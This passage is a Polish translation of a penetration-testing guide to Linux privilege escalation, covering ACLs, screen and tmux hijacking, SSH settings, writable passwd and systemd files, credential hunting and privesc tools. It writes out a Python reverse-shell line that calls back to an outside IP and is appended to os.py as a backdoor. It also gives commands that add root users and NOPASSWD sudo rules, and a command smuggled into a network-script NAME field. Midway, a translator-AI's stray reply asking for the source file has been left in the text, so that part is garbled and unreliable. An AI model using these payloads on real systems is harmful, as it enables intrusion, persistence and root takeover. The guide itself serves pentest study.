Capabilities
Linux capabilities zapewniają podzbiór dostępnych uprawnień root dla procesu. To skutecznie rozdziela uprawnienia root na mniejsze i odrębne jednostki. Każdej z tych jednostek można następnie indywidualnie przyznać procesom. W ten sposób pełny zestaw uprawnień jest zredukowany, zmniejszając ryzyko wykorzystania.
Przeczytaj następującą stronę, aby dowiedzieć się więcej o capabilities i jak je nadużywać:
Directory permissions
W katalogu, bit dla “execute” oznacza, że dany użytkownik może “cd” do folderu.
Bit “read” oznacza, że użytkownik może list files, a bit “write” oznacza, że użytkownik może delete i create nowe files.
ACLs
Access Control Lists (ACLs) reprezentują drugą warstwę uprawnień dyskrecjonalnych, zdolną do nadpisywania tradycyjnych uprawnień ugo/rwx. Te uprawnienia zwiększają kontrolę nad dostępem do plików lub katalogów, pozwalając na przyznawanie lub odmowę praw konkretnym użytkownikom, którzy nie są właścicielami ani członkami grupy. Ten poziom granularności zapewnia precyzyjniejsze zarządzanie dostępem. Further details can be found here.
Nadaj użytkownikowi “kali” uprawnienia read i write do pliku:
setfacl -m u:kali:rw file.txt
#Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included)
setfacl -b file.txt #Remove the ACL of the file
Pobierz pliki z określonymi ACL w systemie:
getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null
Ukryty ACL backdoor w sudoers drop-ins
Częstą błędną konfiguracją jest plik należący do root w /etc/sudoers.d/ z trybem 440, który nadal przyznaje dostęp do zapisu użytkownikowi o niskich uprawnieniach przez ACL.
ls -l /etc/sudoers.d/*
getfacl /etc/sudoers.d/<file>
Jeśli zobaczysz coś w rodzaju user:alice:rw-, użytkownik może dodać regułę sudo pomimo restrykcyjnych bitów trybu:
echo 'alice ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers.d/<file>
visudo -cf /etc/sudoers.d/<file>
sudo -l
To jest ścieżka ACL persistence/privesc o dużym wpływie, ponieważ łatwo ją przeoczyć podczas przeglądów ograniczonych do ls -l.
Otwarte sesje shell
W starszych wersjach możesz hijack jakąś shell sesję innego użytkownika (root).
W najnowszych wersjach będziesz mógł connect do screen sessions tylko własnego użytkownika. Jednak możesz znaleźć interesujące informacje w środku sesji.
screen sessions hijacking
Wypisz screen sessions
screen -ls
screen -ls <username>/ # Show another user' screen sessions
# Socket locations (some systems expose one as symlink of the other)
ls /run/screen/ /var/run/screen/ 2>/dev/null
.png)
Dołącz do sesji
screen -dr <session> #The -d is to detach whoever is attached to it
screen -dr 3350.foo #In the example of the image
screen -x [user]/[session id]
Przechwytywanie sesji tmux
To był problem ze starszymi wersjami tmux. Nie udało mi się przejąć sesji tmux (v2.1) utworzonej przez root jako użytkownik nieuprzywilejowany.
Wyświetl sesje tmux
tmux ls
ps aux | grep tmux #Search for tmux consoles not using default folder for sockets
tmux -S /tmp/dev_sess ls #List using that socket, you can start a tmux session in that socket with: tmux -S /tmp/dev_sess
.png)
Dołącz do sesji
tmux attach -t myname #If you write something in this session it will appears in the other opened one
tmux attach -d -t myname #First detach the session from the other console and then access it yourself
ls -la /tmp/dev_sess #Check who can access it
rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs can
# If you are root or devs you can access it
tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket
Check Valentine box from HTB jako przykład.
SSH
Debian OpenSSL Predictable PRNG - CVE-2008-0166
Wszystkie klucze SSL i SSH wygenerowane na systemach opartych na Debianie (Ubuntu, Kubuntu, etc) między wrześniem 2006 a 13 maja 2008 mogą być dotknięte tym bledem.
Błąd występuje podczas tworzenia nowego ssh key w tych OS, ponieważ only 32,768 variations were possible. To oznacza, że wszystkie możliwości można obliczyć i having the ssh public key you can search for the corresponding private key. Obliczone możliwości znajdziesz tutaj: https://github.com/g0tmi1k/debian-ssh
SSH Interesting configuration values
- PasswordAuthentication: Określa, czy uwierzytelnianie hasłem jest dozwolone. Domyślnie
no. - PubkeyAuthentication: Określa, czy uwierzytelnianie kluczem publicznym jest dozwolone. Domyślnie
yes. - PermitEmptyPasswords: Gdy uwierzytelnianie hasłem jest dozwolone, określa, czy serwer pozwala na logowanie do kont z pustymi hasłami. Domyślnie
no.
Login control files
Te pliki wpływają na to, kto i w jaki sposób może się logować:
/etc/nologin: jeśli istnieje, blokuje logowania użytkowników innych niż root i wypisuje swoją wiadomość./etc/securetty: ogranicza miejsca, z których root może się logować (lista dozwolonych TTY)./etc/motd: baner po zalogowaniu (może leakować informacje o środowisku lub szczegóły konserwacji).
PermitRootLogin
Określa, czy root może się logować przez ssh, domyślnie no. Możliwe wartości:
yes: root może się logować przy użyciu hasła i klucza prywatnegowithout-passwordorprohibit-password: root może logować się tylko za pomocą klucza prywatnegoforced-commands-only: Root może logować się tylko za pomocą klucza prywatnego i jeśli określone są opcje commandsno: brak logowania
AuthorizedKeysFile
Określa pliki zawierające public keys, które mogą być użyte do uwierzytelniania użytkownika. Może zawierać tokeny takie jak %h, które zostaną zastąpione przez katalog domowy. You can indicate absolute paths (starting in /) or relative paths from the user’s home. For example:
AuthorizedKeysFile .ssh/authorized_keys access
Ta konfiguracja wskaże, że jeśli spróbujesz zalogować się za pomocą prywatnego klucza użytkownika “testusername”, ssh porówna klucz publiczny twojego klucza z tymi znajdującymi się w /home/testusername/.ssh/authorized_keys i /home/testusername/access
ForwardAgent/AllowAgentForwarding
SSH agent forwarding pozwala ci używać lokalnych kluczy SSH zamiast pozostawiać klucze (without passphrases!) na serwerze. Dzięki temu będziesz mógł przeskoczyć przez ssh na hosta i stamtąd przeskoczyć na inny host używając klucza znajdującego się na twoim pierwotnym hoście.
Musisz ustawić tę opcję w $HOME/.ssh.config w następujący sposób:
Host example.com
ForwardAgent yes
Zauważ, że jeśli Host ma wartość *, za każdym razem gdy użytkownik przechodzi na inną maszynę, ten host będzie miał dostęp do kluczy (co stanowi problem bezpieczeństwa).
Plik /etc/ssh_config może nadpisać te opcje i zezwolić lub zablokować tę konfigurację.
Plik /etc/sshd_config może zezwolić lub zabronić ssh-agent forwarding za pomocą słowa kluczowego AllowAgentForwarding (domyślnie zezwolone).
Jeśli odkryjesz, że Forward Agent jest skonfigurowany w środowisku, przeczytaj poniższą stronę, ponieważ możesz być w stanie wykorzystać to do eskalacji uprawnień:
SSH Forward Agent exploitation
Interesujące pliki
Pliki profili
Plik /etc/profile oraz pliki w katalogu /etc/profile.d/ to skrypty, które są wykonywane, gdy użytkownik uruchamia nową powłokę. Dlatego, jeśli możesz zapisać lub zmodyfikować którykolwiek z nich, możesz eskalować uprawnienia.
ls -l /etc/profile /etc/profile.d/
Jeżeli znajdziesz jakiś podejrzany skrypt profilu, powinieneś sprawdzić go pod kątem poufnych informacji.
Pliki Passwd/Shadow
W zależności od systemu operacyjnego pliki /etc/passwd i /etc/shadow mogą mieć inną nazwę lub może istnieć kopia zapasowa. Dlatego zaleca się znaleźć je wszystkie i sprawdzić, czy możesz je odczytać, aby zobaczyć czy znajdują się w nich hashes:
#Passwd equivalent files
cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
#Shadow equivalent files
cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null
W niektórych przypadkach możesz znaleźć password hashes w pliku /etc/passwd (lub równoważnym).
grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
Zapisywalny /etc/passwd
Najpierw wygeneruj hasło jedną z następujących komend.
openssl passwd -1 -salt hacker hacker
mkpasswd -m SHA-512 hacker
python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")'
Nie mam dostępu do pliku src/linux-hardening/privilege-escalation/README.md. Proszę wklej jego zawartość, żebym mógł ją przetłumaczyć na polski.
Dodatkowo wyjaśnij, co dokładnie masz na myśli przez „Then add the user hacker and add the generated password.”:
- Czy chcesz, żeby w przetłumaczonym pliku dodać przykładowe polecenia do utworzenia użytkownika
hackeri wstawić wygenerowane hasło (tylko jako treść w README)? - Czy oczekujesz, że wykonam polecenia na Twoim systemie? (Nie mogę wykonywać poleceń na Twoim komputerze.)
Mogę wygenerować bezpieczne hasło i dostarczyć dokładne polecenia do uruchomienia lokalnie, jeśli tego chcesz.
hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash
Np.: hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash
Możesz teraz użyć polecenia su z hacker:hacker
Alternatywnie możesz użyć poniższych linii, aby dodać użytkownika testowego bez hasła.
UWAGA: możesz obniżyć aktualne bezpieczeństwo maszyny.
echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd
su - dummy
UWAGA: Na platformach BSD /etc/passwd znajduje się w /etc/pwd.db i /etc/master.passwd, a /etc/shadow zostało przemianowane na /etc/spwd.db.
Powinieneś sprawdzić, czy możesz zapisać do niektórych plików wrażliwych. Na przykład, czy możesz zapisać do jakiegoś pliku konfiguracyjnego usługi?
find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody
for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user
Na przykład, jeśli maszyna uruchamia serwer tomcat i możesz zmodyfikować plik konfiguracji usługi Tomcat wewnątrz /etc/systemd/, to możesz zmodyfikować linie:
ExecStart=/path/to/backdoor
User=root
Group=root
Twój backdoor zostanie wykonany przy następnym uruchomieniu tomcata.
Sprawdź katalogi
Następujące foldery mogą zawierać kopie zapasowe lub interesujące informacje: /tmp, /var/tmp, /var/backups, /var/mail, /var/spool/mail, /etc/exports, /root (Prawdopodobnie nie będziesz w stanie odczytać ostatniego, ale spróbuj)
ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root
Nietypowa lokalizacja/Owned files
#root owned files in /home folders
find /home -user root 2>/dev/null
#Files owned by other users in folders owned by me
for d in `find /var /etc /home /root /tmp /usr /opt /boot /sys -type d -user $(whoami) 2>/dev/null`; do find $d ! -user `whoami` -exec ls -l {} \; 2>/dev/null; done
#Files owned by root, readable by me but not world readable
find / -type f -user root ! -perm -o=r 2>/dev/null
#Files owned by me or world writable
find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null
#Writable files by each group I belong to
for g in `groups`;
do printf " Group $g:\n";
find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null
done
done
Pliki zmodyfikowane w ostatnich minutach
find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null
Pliki Sqlite DB
find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null
*_history, .sudo_as_admin_successful, profile, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml pliki
find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -name ".profile" -o -name "*bashrc" -o -name "httpd.conf" -o -name "*.plan" -o -name ".htpasswd" -o -name ".git-credentials" -o -name "*.rhosts" -o -name "hosts.equiv" -o -name "Dockerfile" -o -name "docker-compose.yml" \) 2>/dev/null
Ukryte pliki
find / -type f -iname ".*" -ls 2>/dev/null
Skrypty/binaria w PATH
for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done
for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done
Pliki WWW
ls -alhR /var/www/ 2>/dev/null
ls -alhR /srv/www/htdocs/ 2>/dev/null
ls -alhR /usr/local/www/apache22/data/
ls -alhR /opt/lampp/htdocs/ 2>/dev/null
Kopie zapasowe
find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null
Znane pliki zawierające hasła
Przejrzyj kod linPEAS, wyszukuje wiele możliwych plików, które mogą zawierać hasła.
Innym ciekawym narzędziem które możesz użyć w tym celu jest: LaZagne które jest otwartoźródłową aplikacją używaną do odzyskiwania dużej ilości haseł przechowywanych na lokalnym komputerze dla Windows, Linux & Mac.
Logi
Jeśli potrafisz czytać logi, możesz znaleźć w nich interesujące/poufne informacje. Im dziwniejszy log, tym bardziej będzie interesujący (prawdopodobnie).
Ponadto niektóre źle skonfigurowane (backdoored?) logi audytu mogą pozwolić ci zarejestrować hasła w logach audytu, jak wyjaśniono w tym poście: https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/
aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g"
grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null
Aby czytać logs, grupa adm będzie bardzo pomocna.
Pliki Shell
~/.bash_profile # if it exists, read it once when you log in to the shell
~/.bash_login # if it exists, read it once if .bash_profile doesn't exist
~/.profile # if it exists, read once if the two above don't exist
/etc/profile # only read if none of the above exists
~/.bashrc # if it exists, read it every time you start a new shell
~/.bash_logout # if it exists, read when the login shell exits
~/.zlogin #zsh shell
~/.zshrc #zsh shell
Ogólne wyszukiwanie Creds/Regex
Powinieneś również sprawdzić pliki zawierające słowo “password” w nazwie lub w zawartości, a także sprawdzić IP i e-maile w logach, lub hashes regexps.\
Nie będę tu opisywał, jak robić to wszystko, ale jeśli jesteś zainteresowany możesz sprawdzić ostatnie kontrole, które wykonuje linpeas.
Pliki zapisywalne
Python library hijacking
If you know from where a python script is going to be executed and you can write inside that folder or you can modify python libraries, you can modify the OS library and backdoor it (if you can write where python script is going to be executed, copy and paste the os.py library).
To backdoor the library just add at the end of the os.py library the following line (change IP and PORT):
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
Eksploatacja Logrotate
Luka w logrotate pozwala użytkownikom z write permissions na plik logu lub jego katalogi nadrzędne potencjalnie uzyskać eskalację uprawnień. Dzieje się tak, ponieważ logrotate, często uruchamiany jako root, może zostać zmanipulowany do wykonania dowolnych plików, szczególnie w katalogach takich jak /etc/bash_completion.d/. Ważne jest sprawdzenie uprawnień nie tylko w /var/log, ale także w każdym katalogu, gdzie stosowana jest rotacja logów.
Tip
Ta luka dotyczy
logrotatew wersji3.18.0i starszych
Bardziej szczegółowe informacje o luce można znaleźć na tej stronie: https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition.
Możesz wykorzystać tę lukę przy pomocy logrotten.
Ta luka jest bardzo podobna do CVE-2016-1247 (nginx logs), więc ilekroć znajdziesz możliwość modyfikacji logs, sprawdź, kto nimi zarządza i czy możesz eskalować uprawnienia, podmieniając logs na symlinks.
/etc/sysconfig/network-scripts/ (Centos/Redhat)
Vulnerability reference: https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f
Jeśli z jakiegokolwiek powodu użytkownik ma możliwość zapisania skryptu ifcf-<whatever> w /etc/sysconfig/network-scripts lub dostosowania istniejącego, to twój system jest pwned.
Network scripts, ifcg-eth0 na przykład, służą do połączeń sieciowych. Wyglądają dokładnie jak pliki .INI. Jednak są ~sourced~ na Linuxie przez Network Manager (dispatcher.d).
W moim przypadku wartość NAME= w tych skryptach sieciowych nie jest prawidłowo obsługiwana. Jeśli w nazwie występuje spacja, system spróbuje wykonać część po tej spacji. To oznacza, że wszystko po pierwszej spacji zostaje wykonane jako root.
Na przykład: /etc/sysconfig/network-scripts/ifcfg-1337
NAME=Network /bin/id
ONBOOT=yes
DEVICE=eth0
(Zwróć uwagę na spację między Network a /bin/id)
init, init.d, systemd i rc.d
Katalog /etc/init.d zawiera skrypty dla System V init (SysVinit), klasycznego systemu zarządzania usługami w Linuxie. Zawiera skrypty do start, stop, restart i czasami reload usług. Mogą być wykonywane bezpośrednio lub przez dowiązania symboliczne znajdujące się w /etc/rc?.d/. Alternatywna ścieżka w systemach Redhat to /etc/rc.d/init.d.
Z kolei /etc/init jest związany z Upstart, nowszym systemem zarządzania usługami wprowadzonym przez Ubuntu, wykorzystującym pliki konfiguracyjne do zadań związanych z zarządzaniem usługami. Pomimo przejścia na Upstart, skrypty SysVinit są nadal używane obok konfiguracji Upstart dzięki warstwie kompatybilności w Upstart.
systemd wyłania się jako nowoczesny menedżer inicjalizacji i zarządzania usługami, oferując zaawansowane funkcje takie jak uruchamianie demonów na żądanie, zarządzanie automountami i zrzuty stanu systemu. Organizuje pliki w /usr/lib/systemd/ dla pakietów dystrybucyjnych oraz w /etc/systemd/system/ dla modyfikacji administratora, upraszczając proces administracji systemem.
Other Tricks
NFS Privilege escalation
NFS no_root_squash/no_all_squash misconfiguration PE
Escaping from restricted Shells
Cisco - vmanage
Android rooting frameworks: manager-channel abuse
Android rooting frameworks commonly hook a syscall to expose privileged kernel functionality to a userspace manager. Weak manager authentication (e.g., signature checks based on FD-order or poor password schemes) can enable a local app to impersonate the manager and escalate to root on already-rooted devices. Learn more and exploitation details here:
Android Rooting Frameworks Manager Auth Bypass Syscall Hook
VMware Tools service discovery LPE (CWE-426) via regex-based exec (CVE-2025-41244)
Regex-driven service discovery in VMware Tools/Aria Operations can extract a binary path from process command lines and execute it with -v under a privileged context. Permissive patterns (e.g., using \S) may match attacker-staged listeners in writable locations (e.g., /tmp/httpd), leading to execution as root (CWE-426 Untrusted Search Path).
Learn more and see a generalized pattern applicable to other discovery/monitoring stacks here:
Vmware Tools Service Discovery Untrusted Search Path Cve 2025 41244
Kernel Security Protections
- https://github.com/a13xp0p0v/kconfig-hardened-check
- https://github.com/a13xp0p0v/linux-kernel-defence-map
More help
Linux/Unix Privesc Tools
Best tool to look for Linux local privilege escalation vectors: LinPEAS
LinEnum: https://github.com/rebootuser/LinEnum(-t option)
Enumy: https://github.com/luke-goddard/enumy
Unix Privesc Check: http://pentestmonkey.net/tools/audit/unix-privesc-check
Linux Priv Checker: www.securitysift.com/download/linuxprivchecker.py
BeeRoot: https://github.com/AlessandroZ/BeRoot/tree/master/Linux
Kernelpop: Enumeruje luki jądra w Linux i MAC https://github.com/spencerdodd/kernelpop
Mestaploit: multi/recon/local_exploit_suggester
Linux Exploit Suggester: https://github.com/mzet-/linux-exploit-suggester
EvilAbigail (dostęp fizyczny): https://github.com/GDSSecurity/EvilAbigail
Recopilation of more scripts: https://github.com/1N3/PrivEsc
References
- 0xdf – HTB Planning (Crontab UI privesc, zip -P creds reuse)
- 0xdf – HTB Era: forged .text_sig payload for cron-executed monitor
- 0xdf – Holiday Hack Challenge 2025: Neighborhood Watch Bypass (sudo env_keep PATH hijack)
- alseambusher/crontab-ui
- https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/
- https://payatu.com/guide-linux-privilege-escalation/
- https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744
- http://0x90909090.blogspot.com/2015/07/no-one-expect-command-execution.html
- https://touhidshaikh.com/blog/?p=827
- https://github.com/sagishahar/lpeworkshop/blob/master/Lab%20Exercises%20Walkthrough%20-%20Linux.pdf
- https://github.com/frizb/Linux-Privilege-Escalation
- https://github.com/lucyoa/kernel-exploits
- https://github.com/rtcrowley/linux-private-i
- https://www.linux.com/news/what-socket/
- https://muzec0318.github.io/posts/PG/peppo.html
- https://www.linuxjournal.com/article/7744
- https://blog.certcube.com/suid-executables-linux-privilege-escalation/
- https://juggernaut-sec.com/sudo-part-2-lpe
- https://linuxconfig.org/how-to-manage-acls-on-linux
- https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f
- https://www.linode.com/docs/guides/what-is-systemd/
- 0xdf – HTB Eureka (bash arithmetic injection via logs, overall chain)
- GNU Bash Manual – BASH_ENV (non-interactive startup file)
- 0xdf – HTB Environment (sudo env_keep BASH_ENV → root)
- 0xdf – HTB Previous (sudo terraform dev_overrides + TF_VAR symlink privesc)
- 0xdf – HTB Slonik (pg_basebackup cron copy → SUID bash)
- NVISO – You name it, VMware elevates it (CVE-2025-41244)
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.


